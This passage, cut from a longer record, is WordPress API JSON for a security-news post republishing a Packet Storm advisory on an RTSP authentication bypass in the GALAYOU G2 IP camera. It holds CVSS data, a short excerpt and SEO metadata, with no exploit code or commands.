===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/213259&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:7.1,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:4.0\/AV:A\/AC:L\/AT:N\/PR:N\/UI:N\/VC:H\/SC:N\/VI:N\/SI:N\/VA:N\/SA:N&#8221;,&#8221;version&#8221;:&#8221;4.0&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/213259\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-23T17:16:04&#8243;,&#8221;description&#8221;:&#8221;A critical authentication bypass vulnerability exists in the RTSP service of the GALAYOU G2 IP camera. The device exposes multiple RTSP stream endpoints that can&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,50,12,15,13,53,7,11,5],"class_list":["post-32545","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-71","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 GALAYOU G2 IP Camera Authentication Bypass_PACKETSTORM:213259 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=32545\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 GALAYOU G2 IP Camera Authentication Bypass_PACKETSTORM:213259 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-23T17:16:04&#8243;,&#8221;description&#8221;:&#8221;A critical authentication bypass vulnerability exists in the RTSP service of the GALAYOU G2 IP camera. The device exposes multiple RTSP stream endpoints that can...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=32545\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-23T11:54:33+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"13 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32545#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32545\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 GALAYOU G2 IP Camera Authentication Bypass_PACKETSTORM:213259\",\"datePublished\":\"2025-12-23T11:54:33+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32545\"},\"wordCount\":2520,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.1\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=32545#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32545\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32545\",\"name\":\"\ud83d\udcc4 GALAYOU G2 IP Camera Authentication Bypass_PACKETSTORM:213259 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-23T11:54:33+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32545#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=32545\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32545#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 GALAYOU G2 IP Camera Authentication Bypass_PACKETSTORM:213259\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 GALAYOU G2 IP Camera Authentication Bypass_PACKETSTORM:213259 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=32545","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 GALAYOU G2 IP Camera Authentication Bypass_PACKETSTORM:213259 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-23T17:16:04&#8243;,&#8221;description&#8221;:&#8221;A critical authentication bypass vulnerability exists in the RTSP service of the GALAYOU G2 IP camera. The device exposes multiple RTSP stream endpoints that can...","og_url":"https:\/\/zero.redgem.net\/?p=32545","og_site_name":"zero redgem","article_published_time":"2025-12-23T11:54:33+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"13 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=32545#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=32545"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 GALAYOU G2 IP Camera Authentication Bypass_PACKETSTORM:213259","datePublished":"2025-12-23T11:54:33+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=32545"},"wordCount":2520,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.1","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=32545#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=32545","url":"https:\/\/zero.redgem.net\/?p=32545","name":"\ud83d\udcc4 GALAYOU G2 IP Camera Authentication Bypass_PACKETSTORM:213259 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-23T11:54:33+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=32545#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=32545"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=32545#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 GALAYOU G2 IP Camera Authentication Bypass_PACKETSTORM:213259"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/32545","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=32545"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/32545\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=32545"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=32545"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=32545"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}